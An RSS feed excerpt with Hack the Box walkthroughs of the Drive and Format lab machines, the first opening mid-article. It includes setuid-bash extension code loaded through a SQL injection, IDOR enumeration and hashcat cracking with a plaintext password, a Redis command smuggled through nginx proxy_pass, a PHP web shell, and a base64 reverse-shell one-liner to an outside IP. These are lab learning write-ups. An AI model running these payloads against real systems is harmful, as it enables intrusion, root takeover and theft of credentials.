(last 1000 request)<br>5. activate user account<br>6. Exit<br>Select option:</pre><p>So, I modified the exploit script again with change _init to sqlite3_c_init as with the error message above.</p><blockquote>Final Script</blockquote><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br><br>void sqlite3_c_init() {<br>    setuid(0);<br>    setgid(0);<br>    system(&quot;/usr/bin/cp /bin/bash /tmp/konz;/usr/bin/chmod +s /tmp/konz&quot;);<br>}</pre><p>Remove the library again, compiled again, and run again. And it works!</p><pre>tom@drive:~$ cat konz.c <br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br><br>void sqlite3_c_init() {<br>    setuid(0);<br>    setgid(0);<br>    system(&quot;/usr/bin/cp /bin/bash /tmp/konz;/usr/bin/chmod +s /tmp/konz&quot;);<br>}<br>tom@drive:~$ gcc -shared -fPIC -nostartfiles -o c.so konz.c<br>tom@drive:~$ ./doodleGrive-cli <br>[!]Caution this tool still in the development phase...please report any issue to the development team[!]<br>Enter Username:<br>moriarty<br>Enter password for moriarty:<br>findMeIfY0uC@nMr.Holmz!<br>Welcome...!<br><br>doodleGrive cli beta-2.2: <br>1. Show users list and info<br>2. Show groups list<br>3. Check server health and status<br>4. Show server requests log (last 1000 request)<br>5. activate user account<br>6. Exit<br>Select option: 5<br>Enter username to activate account: &quot;+load_extension(char(46,47,99))+&quot;<br>Activating account for user &#39;&quot;+load_extension(char(46,47,99))+&quot;&#39;...<br><br>doodleGrive cli beta-2.2: <br>1. Show users list and info<br>2. Show groups list<br>3. Check server health and status<br>4. Show server requests log (last 1000 request)<br>5. activate user account<br>6. Exit<br>Select option:</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8EbfYGTojaHEWqFOid02tg.png" /></figure><p>Then I move to /tmp directory, and run the bash that we’ve been created with privilege mode. And we gain root!!!</p><pre>tom@drive:/tmp$ ./konz -p<br>konz-5.0# id<br>uid=1003(tom) gid=1003(tom) euid=0(root) egid=0(root) groups=0(root),1003(tom)<br>konz-5.0#</pre><p>Read the root flag:</p><pre>konz-5.0# cat root.txt <br>4146****************************<br>konz-5.0#</pre><p>Feels so happy when I completed this box until root. Because this the first time I completed machine that has hard level difficulty. And this motivate me to keep learning that I can do it, break the limit to keep going. I hope this article can be useful for people who read it. Thank u!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07aae5d368a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack the Box: Drive Walkthrough]]></title>
            <link>https://medium.com/@zharsuke/hack-the-box-drive-walkthrough-bd22f1320755?source=rss-fa9cd9cbb58f------2</link>
            <guid isPermaLink="false">https://medium.com/p/bd22f1320755</guid>
            <dc:creator><![CDATA[Al Azhar Rizqi]]></dc:creator>
            <pubDate>Sat, 21 Oct 2023 14:53:36 GMT</pubDate>
            <atom:updated>2023-10-21T14:53:36.523Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SPXiJ6EzuZ1wzMhwUKp6jw.jpeg" /></figure><h3>Introduction</h3><p>This my walkthrough when i try to completed Drive Hack the Box Machine. But, I can only gain user access. This machine has hard difficulty level and I’m also struggling with this box because it the first hard machine that I’ve try. I’ll explain or demonstrate how to gain user access. Without any further do, let’s start it!</p><h3>Recon</h3><p>As always the first thing that I do is port scanning with nmap. There are 2 ports that open that is 22(ssh), 80(http), and 1 filtered port that is 3000. Then, the host running on ubuntu os and nginx 1.18 web server.</p><pre>sudo nmap -sC -sV 10.10.11.235 -oN nmap.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9gD3B_4NcNpDAulWvP68RQ.png" /></figure><p>I try to add host machine to /etc/hosts.</p><pre>sudo nano /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/311/1*_3jWw7tB7TZejDwIHpw-9Q.png" /></figure><h3>Website - TCP 3000</h3><p>I try to access port 3000, but it can’t.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LMZ766dMI1kEXd7EkTBBAg.png" /></figure><h3>Website - TCP 80</h3><blockquote>Overview</blockquote><p>This website namely Doodle Grive that allows users to upload, stored, reserve, edit, also share their files to others. Also can show reports, add user groups. Damn, lot of feature that should to tests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YNXgG8bKLaecR1oz8husQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u3mYLFZ09OFMxKF-M8sXRw.png" /><figcaption>Dashboard</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VakJoLipJzHWOJSK0cqrpA.png" /><figcaption>Reports</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wro2NX3TkbWwQpN_4xCDaQ.png" /><figcaption>Show groups</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uBnfbrzQQ-2TGs_5TbeXOg.png" /><figcaption>Create groups</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mWtlfjWgyo-VRjm8Ckdufg.png" /><figcaption>Upload file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H4FEyZqeqYDIASCsJF37-g.png" /><figcaption>Reserve file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_SFWU6_Ax3jzlHJXDFkHcA.png" /><figcaption>Unreserve file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i2nx9VADbU_XHsbYA2Oiog.png" /><figcaption>Show my file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NxfJmshhiGe6UXCYH47HPg.png" /><figcaption>Upload file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cK0k1swyv_8FMZzEkZ4mkg.png" /><figcaption>Edit content file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ZBMmjgf_UgfRQfKllnFhg.png" /><figcaption>Edit properties file</figcaption></figure><blockquote>Testing</blockquote><p>For initial testing, I try to fuzzing the sub domain, if there is in web app. But the result is nothing.</p><pre>ffuf -u http://drive.htb/ -H &quot;Host: FUZZ.drive.htb&quot; -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fl 8</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VvU_r3c7rgz89xqtncvvrQ.png" /><figcaption>Fuzzing sub domain</figcaption></figure><p>Then I try to fuzzing the directory, find endpoint that interest me that is subscribe.</p><pre>ffuf -u http://drive.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -fc 302</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fibm79AQVymXVcVUfRJqRA.png" /></figure><p>So, I try to access /subscribe endpoint but it can’t, appear server error 500 message. But when I change method from GET to POST the result is 403 Forbidden. Hmm it’s like django display. Also, I don’t know what kind of payload that should to insert. Then the result is same when I try to test /password_reset endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ShE_3gmluULOrO6Mqi38RA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Lzi3a5k7r2sibg5Q4xtLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5UocHHaRijSKH6e9JH2kg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y2lSiaOvy3HjzC56Qjubgg.png" /></figure><p>Should to find the next possible attack vectors.</p><p>Then I try gospider to find recursive path file. There is custom.js that interesting me, but when i access it, it seems like nothing right there.</p><pre>gospider -s &quot;http://drive.htb/&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*TYObHoJZLiDBmtFALrpNig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PXbBZHPlT9JcRaiA2J95QQ.png" /></figure><p>Hmm it’s okay if haven’t found any clue. Next is I try to intercept every request.</p><p>When I intercept register request, there are cookie that is csrftoken, then csrfmiddlewaretoken in parameter. Next is normally that is parameter that we input from form register. According <a href="https://docs.djangoproject.com/en/4.2/ref/csrf/"><strong><em>django documentation</em></strong></a>, CsrfViewMiddleware sends this cookie with the response whenever django.middleware.csrf.get_token() is called. It can also send it in other cases. For security reasons, the value of the secret is changed each time a user logs in. A hidden form field with the name ‘csrfmiddlewaretoken’, present in all outgoing POST forms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJwTt00UOo_hijL3PmWqUA.png" /></figure><p>After login, users will have another cookie that is sessionid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mN5PMAumcN4f89PFd_Qygw.png" /></figure><p>Then, I try to upload file that contains script to lead me to reverse shell. I try to set listener, then access file detail, but the result is nothing. It seems like we only can read the files, can’t write or execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8zAwnXttJkyOhxjnAkbhCw.png" /><figcaption>Intercept when upload file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*j0v3ujEYvwVCzwYrCEEvWg.png" /><figcaption>Set listener</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MZKLuS2dcUxwuSfPgDusEQ.png" /><figcaption>detail file</figcaption></figure><p>But, from experiment above the things that interesting me is when we access detail file, it direct to /123/getFileDetail/. It means web app call number as identifier file to get the file. Hmm. Then I try to intruder the request with mark number payload. Then set payloads to sequences number from 1 to 1000 and hope we can found file that unauthorized.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eWQJ1_bWX24b676KV6IwDg.png" /><figcaption>mark id number as payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uk3ySFs-6p30QlVurwg0cA.png" /><figcaption>set sequences number payload</figcaption></figure><p>The result is there are several id that has status code 200. After check it one by one there is no interesting me. But, there is id that has status code 401 unauthorized which is we can’t access. Hmm, it seems like we should find way to read files that unauthorized.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i29sLsqkThm4XS7-B1cfww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzPG4e-B7R--NjIZu5Izbg.png" /></figure><h3>Gain Shell as Martin</h3><p>At list file page, there is reserve that direct to /123/block/ endpoint which is it new endpoint that doesn’t ever to test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TbUKyKlfyi9RyJ37T2PiOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*75LDmSfr10vBveo1Z_QfEQ.png" /></figure><p>Then, I try to intruder block endpoint again and hope it can access file that unauthorized. After it, the result is there are several status code 200, more than before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KQWirLHOusy6RW8Wzr-ZJQ.png" /></figure><p>Then, I try to check it one by one and find martin credential ssh, and found database backup directory. Finally!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HwnjDF_f0aBD4HtGTPfWqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5SlHQcrk7rAtirrcjFhatw.png" /></figure><blockquote>IDOR</blockquote><p>This vulnerability is namely IDOR, stand for Insecure Direct Object. According <a href="https://portswigger.net/web-security/access-control/idor"><strong><em>PortSwigger</em></strong></a>, IDOR is a type of <a href="https://portswigger.net/web-security/access-control">access control</a> vulnerability that arises when an application uses user-supplied input to access objects directly.</p><p>Then I try to login ssh as martin, then it works! But there is no user flag at martin directory. Then I try to see user list at /home directory, the result is there are four user that is martin, cris, git, and tom. Huftt..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*91Uq8RPTGmqCvFp6TwF7GQ.png" /></figure><h3>Gain Shell as Tom</h3><p>Next, I try to download the db backup file to local so that we can analyze it. So I create python server in remote, then try to wget on local.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*w54S9hqVd2QjI4tTlpU3wA.png" /><figcaption>List file at backups directory</figcaption></figure><pre>martin@drive:/var/www/backups$ python3 -m http.server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*pxXx6zOIpWENRrJ2GtBdnQ.png" /><figcaption>Set python server on remote</figcaption></figure><pre>zharsuke@box  ~/Documents/Cyber_Security/hack-the-box/Machines/hard/drive/backup git:(master) ✗ wget http://10.10.11.235:8000/1_Sep_db_backup.sqlite3.7z</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*CnBNSeGWIm3vpcJkbkyFCQ.png" /><figcaption>Download file with wget</figcaption></figure><p>There are total 5 files that I downloaded with four zip files and one sqlite db file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*GFPSphF3l7q2BLQOBVsJdA.png" /></figure><p>Then I try to access db file with sqlite db browser, found user table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cyfEWCpfbse2KWfYz7WgxA.png" /></figure><p>I try to stored hash password into one files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*cBR-NDHSgEwkVpuepPShiw.png" /></figure><p>The idea is we cracking the hash password with hashcat or john, but the hashes seems like contains salt not only sha1. So I try to search <a href="https://hashcat.net/wiki/doku.php?id=example_hashes"><strong><em>hash mode hashcat example</em></strong></a> and found it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bUpJoJs5hB1Ph7P6WiPohA.png" /></figure><p>Then I try to cracking the passwords with hashcat but it seems like uncrackable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_f2wTPx7Bb6yhevX7DM80w.png" /></figure><p>After that, I try to extract zip files, but it should insert password. I try with password martin that we found previously, but it doesn’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*gejulNpma9vov1QAapXTWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*1f50EMoeWin-Ae-GEAgN_Q.png" /></figure><p>Hmm, It seems like we must to find password zip from another way. So I try to run linpeas to analyze it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lxI6-AwwBXxf7acPy0mffg.png" /></figure><p>After looking around, I realize that with port scanning before there is port 3000. So I looking for active ports and there are several ports that active that is 33060 which is mysql port, 3306 also mysql, 80 http, 53 dns, 22 ssh, and 3000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*91V58Cjnuhl0TSDi-kwSkA.png" /></figure><p>So, I try to local forwarding active ports into my local machine in order to can access it. I try to local forward port 3000 then access it, there is gitea page!</p><pre>➜ zharsuke@box  ~/Documents/Cyber_Security/hack-the-box/Machines/hard/drive/backup git:(master) ✗ ssh -L 3000:127.0.0.1:3000 martin@drive.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5pUwTULBSfkm3ipHKLlxYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iZBaetj37BcRUSBkUpb7ig.png" /></figure><p>Then I try to login with martin credential (use email at db before, password at block endpoint), there is DoodleGrive repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1r1xYAfcw2XFmx6pC2Ch-A.png" /></figure><p>I check the db_backup.sh and found the password zip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fEgnKobJ7Ih-pH7I0Cy3BA.png" /></figure><p>Then I try to extract the password and it works and manage it. After check it one by one, there are two kind of password hashes that is sha1$ and pbkdf2_sha256$.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_WrXF6bMIKRvJ0OvFUQPsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*oAcvl08ImjcvPhcFh_RLdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*SWme0EzrMESOtjqujFqK-w.png" /></figure><p>After that, I try to cracking hashes again with hashcat, and found the password!</p><pre>zharsuke@box  ~/Documents/Cyber_Security/hack-the-box/Machines/hard/drive/backup git:(master) ✗ hashcat -m 124 hashsha1.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*SvHYVCA4-2bkXqHr4UNjng.png" /></figure><p>After it, I try to matching the hash with user in db browser and the result is password’s tom. I try login ssh with insert password above one by one, then it works. The password is johnmayer7 and got the user flag!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0GIWSG90upabP9YJZLoP0g.png" /></figure><p>Read the user flag:</p><pre>tom@drive:~$ cat user.txt <br>0cb8****************************</pre><p>Honestly, I can’t believe that I can survive in hard Machine even though only gain user access, but I’m so proud! This foothold has lot of attack vectors that should to take lot of experiment testing. And to be honest there are lot of experiment too that I don’t write in this article because it’ll be take lot of sentences. Lot of new lessons that I can get with playing this box. Patience, and many experiments until found IDOR vulnerability. Also lot of Theory inside my head lol. Maybe root walkthrough will be published if I’ve done it. And I hope with this documentation, it can be a lesson or new insight for people who read. That’s all from me, Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bd22f1320755" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack the Box: Format Walkthrough]]></title>
            <link>https://medium.com/@zharsuke/hack-the-box-format-walkthrough-8fb0f73201e1?source=rss-fa9cd9cbb58f------2</link>
            <guid isPermaLink="false">https://medium.com/p/8fb0f73201e1</guid>
            <dc:creator><![CDATA[Al Azhar Rizqi]]></dc:creator>
            <pubDate>Fri, 22 Sep 2023 22:11:13 GMT</pubDate>
            <atom:updated>2023-09-22T22:11:13.556Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vvvl1s55nhd6hwps-PnoTg.jpeg" /></figure><h3>Introduction</h3><p>This is my walkthrough when I completed format hack the box machine. This machine has medium difficulty level, but it hard for me. I’ll explain or demonstrate how to gain user and root access on this machine. Without any further do, let’s dive in.</p><h3>Recon</h3><p>The first thing that I do is always port scanning with nmap. There are three open tcp ports that is 22(ssh), 80(http), and 3000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k1SBA6Ozu_bHZ5WtPMWS8A.png" /><figcaption>Scan IP with nmap</figcaption></figure><p>And the next step is add host machine to /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*HmjAEtdTCbVsLKVMVwPSQQ.png" /><figcaption>Add host machine to /etc/hosts</figcaption></figure><h3>Website</h3><p>As the result with nmap scan, we can’t access port 80 because not found. But we can access port 3000. It contains about <a href="https://about.gitea.com/">gitea</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lH55B-Cz6Wg3OUFAApaMqQ.png" /><figcaption>404 not found when open website with default port(80).</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KIyQbtB58EqSiu-g9V9AaA.png" /><figcaption>The developer use gitea to manage source code.</figcaption></figure><p>After click explore, there is microblog repository that created by cooper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qdlck3YbT5NOYlDXY_7cHg.png" /><figcaption>Microblog repository</figcaption></figure><p>So I decided to clone the repository to review the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dML9MnC2p0vg7ILcEZtxTQ.png" /><figcaption>Cloning microblog repository to local machine.</figcaption></figure><p>Oh God, there are bunch of information right here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*Z6OIDJLDZscf-tfTnkT-kA.png" /><figcaption>Microblog files structure.</figcaption></figure><p>At index.html there is url that contain microblog subdomain that namely app.microblog.htb. So I add the subdomain to /etc/hosts again and open the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*hVn04KeLeEOnLtb_7rZckQ.png" /><figcaption>Source code.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*X9c3W-87Jx_VlhZHmE2jXQ.png" /><figcaption>Add subdomain host to /etc/hosts.</figcaption></figure><h3>Overview</h3><p>The Microblog app is a website that allows users to create their own blogs and manage their contents. There are benefit diferences between a free account and a pro account. A free account can only add headers and texts to their blog, but with a pro account, user have additional privilege to upload images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VdRK3e8ueKvY8QqJfgNZjQ.png" /><figcaption>Microblog app.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0a2N08fHEZMPv9HBKBjqzg.png" /><figcaption>Register</figcaption></figure><p>When I create blog and direct to button, there is another subdomain depends on the name blog that user create.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1gB_vpdDuoen5oORDX0SyA.png" /><figcaption>Dashboard.</figcaption></figure><p>So I add it again to my /etc/hosts. And after that, I can access my blog.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*P6ohIBl_WoO3k3b9ZRU3nA.png" /><figcaption>Add subdomain to /etc/hosts.</figcaption></figure><h3>Source Code Review</h3><blockquote>Register</blockquote><p>At the register source code, there is object that instantiate from Redis class that namely redis. There is connect method that contains path socket to connect to socket. There is also HSET method that is to add field. The part that interesting me is there are two parameter that namely pro and false.</p><blockquote>Overview about Redis</blockquote><p><a href="https://redis.io/docs/about/">Redis</a> is an open source (BSD licensed), in-memory <strong>data structure store</strong> used as a database, cache, message broker, and streaming engine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VkZrLCHUhScLEROfcg31Ug.png" /><figcaption>Register source code.</figcaption></figure><blockquote>Edit</blockquote><p>At the edit source code, there are several part that interesting me. The first one is provisionProUser() function. It contains if isPro() method is true, there are several operating system command, but that important things is when the user get pro access, user will get uploads directory that will gain full access permissions which is read, write, and executions. (<strong>chmod 700 /var/www/microblog/” . $blogName . “/uploads</strong>). And at the end after add write permissions at /var/www/microblog/blogName and /var/www/microblog/blogName/edit, it’ll be change again to remove write permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rzdptlOtK-ZD53_1gbYDOA.png" /><figcaption>ProvisionProUser() function.</figcaption></figure><p>At add header, there are 2 <a href="https://www.php.net/manual/en/function.fopen.php"><strong>fopen()</strong></a> function that the first is saved in post_file variable. It takes two parameter that is id and w(it means is write). Then it’ll be write with <a href="https://www.php.net/manual/en/function.fwrite.php"><strong>fwrite()</strong></a><strong> </strong>that also takes two parameter. There are 2 parameter that is post_file and html variable that contains piece of html code that user created, then will be close with <a href="https://www.php.net/manual/en/function.fclose.php"><strong>fclose</strong></a><strong>()</strong>. And the second fopen() is to read file that namely order.txt, then using a(append) mode. Then write with fwrite() that takes 2 parameter that is order_file and id, then close with fclose(). The function is saved list id in order.txt that have been created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*66UnvfW7W16knJfiPLQIlw.png" /><figcaption>Add header.</figcaption></figure><p>overall, the mechanism header and text is same, but the different is only in html content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*vsjSAppQ3fuGWXCpNX4Veg.png" /><figcaption>Add text.</figcaption></figure><p>At add image there is quite different than both before. The image will saved in uploads directory. Then there is only one whitelisting for image which is png that possible can be next attack vector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*DPOppFnQkkGC25P6T5ZaUw.png" /><figcaption>Add image.</figcaption></figure><h3>Testing</h3><p>After review source code, I conclude there are several attack vector that is create new blog, add header, add text, and add image(but we must gain pro access first). <strong>The idea is how we can get pro access so that we can get uploads directory. Then with upload directory we can create arbitrary file write that can lead us to reverse shell.</strong></p><blockquote>Register</blockquote><p>When I intercept the register request, there are four parameter like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LTiELqjZdTc6b_KxKRxy-g.png" /><figcaption>Intercept register request.</figcaption></figure><p>So, I tried to add more parameter that is pro, then set to true. But it seems doesn’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tozLGf79UdDcm8osTKnB1g.png" /><figcaption>Add pro parameter.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aXKihlbRTWzqDuv3ZUeabg.png" /><figcaption>The result is pro access not added.</figcaption></figure><blockquote>Edit</blockquote><p>According source code above, there is id which is the input parameter of fopen(). So I tried to test id parameter with repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnscXHmAv60jBIyBr2kqYg.png" /><figcaption>Test id parameter</figcaption></figure><p>So I tried to change value id parameter to /etc/passwd and it works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X22C-CQuem1cJ9KCmL5voA.png" /><figcaption>Got LFI.</figcaption></figure><p>I tried to read redis socket, but the result is nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xys_UpQ5b9Bz54ZfPaWiEA.png" /><figcaption>Read redis socket.</figcaption></figure><h3>Proxy Pass Exploit</h3><p>But after a while, I tried to find more way because I feel can’t gain pro access with Local File Inclusion(LFI) only. However maybe it possible when I get Server Side Request Forgery(SSRF) to run redis socket. According nmap scan above, it use nginx as webserver. So I tried to see the nginx configurations. Based on google, nginx configurations are in /etc/nginx directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*mHFEcYQE8YyZAEWrALE8kg.png" /><figcaption>Nginx config directory.</figcaption></figure><p>After checking one by one, I’ve found. But it look so messy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WxSIpNKc4zru9RIXlfTcBw.png" /><figcaption>Nginx configurations.</figcaption></figure><p>So I tried to fix so that it can be read easly. There are proxy pass that forward to local server from endpoint location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*j4d1ri210aWwdVsk2L2RrA.png" /><figcaption>nginx configurations.</figcaption></figure><p>I tried to access endpoint location on port 80 and it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*KZP9f0WVMfwP2xLFCu3VqQ.png" /><figcaption>Test proxy pass js.</figcaption></figure><p>However it possible to try exploit the last proxy pass, because it can takes any segment with use regex. Then I try to search proxy pass exploit and found it. This is the <a href="https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/"><strong>article</strong></a>. After a while, finally I gain the pro access with connect to local redis socket.</p><pre>-X HSET http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:azhar%20pro%20true%20%2furi%2f;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YlEXL7a275mjQnXoJazPgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*0dNgt1oiJiLCeVO-n9vsGA.png" /><figcaption>Gain pro access.</figcaption></figure><h3>Gain Shell as www-data</h3><p>From here, I can create PHP web shell file in uploads directory with set path into id parameter and injecting the PHP code into header or text parameter , then got the Remote Code Execution(RCE).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kSwJ-HBO-vLwVTiGR1Sr7A.png" /><figcaption>Add web shell.</figcaption></figure><p>I also can access it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*3ubZKpuCco8f92TtmNOsCg.png" /><figcaption>Access file.</figcaption></figure><p>Set listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*HiOtw-WCBplPMypAjRZYEw.png" /><figcaption>Set listener</figcaption></figure><p>Insert reverse shell payload, then execute.</p><p>Payload:</p><pre>echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljc0LzI0MjQgMD4mMSAK | base64 -d| bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*MD6Zu6zuQkMzOFDPwNs9QQ.png" /><figcaption>Insert payload.</figcaption></figure><p>And got shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*64GPF5CPTOwFEjTEucWJUA.png" /><figcaption>Got shell as www-data.</figcaption></figure><h3>Gain Shell as Cooper</h3><p>From here, I try run redis to connect to socket. The first things with type “redis-cli -h” to see lists flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*vXW9Rj0MTHhWtY9SfazrZg.png" /><figcaption>List redis command.</figcaption></figure><p>Then run redis with type “redis-cli -s /var/run/redis/redis.sock”. Then I search for command how to display keys on redis and found this <a href="https://linuxhint.com/redis-get-key/"><strong>article</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*N4D17LYuuhQWwCpZRackaA.png" /><figcaption>List all keys.</figcaption></figure><p>The things is how can I get the cooper.dooper information. I try to type “HGET cooper.dooper” but it doesn’t work. Then I googling again and found this <a href="https://www.educba.com/redis-hget/"><strong>article</strong></a>. Then Got the cooper password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zFlcBP100_2zPK9uyMv1yQ.png" /><figcaption>Article.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*oUHfNoN7hBRi_gX71y2W8Q.png" /><figcaption>Got the cooper password.</figcaption></figure><p>Then I can login to ssh as cooper.</p><figure><img alt="" 